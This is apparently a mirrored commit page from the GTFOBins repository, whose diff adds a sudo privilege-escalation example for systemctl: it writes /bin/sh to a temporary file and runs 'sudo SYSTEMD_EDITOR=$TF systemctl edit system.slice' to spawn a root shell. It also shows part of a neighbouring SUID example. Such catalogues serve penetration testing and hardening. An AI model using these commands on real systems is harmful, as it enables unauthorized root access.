1
0
Fork 0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-05-24 08:16:02 +02:00

Add systemctl example using SYSTEMD_EDITOR

Close #65.
This commit is contained in:
Miles Whittaker 2019-07-02 18:14:29 +02:00 committed by Andrea Cardaci
parent 66655322f3
commit aa08187718

View File

@ -11,6 +11,11 @@ functions:
./systemctl link $TF
./systemctl enable --now $TF
sudo:
- code: |
TF=$(mktemp)
echo /bin/sh >$TF
chmod +x $TF
sudo SYSTEMD_EDITOR=$TF systemctl edit system.slice
- code: |
TF=$(mktemp).service
echo '[Service]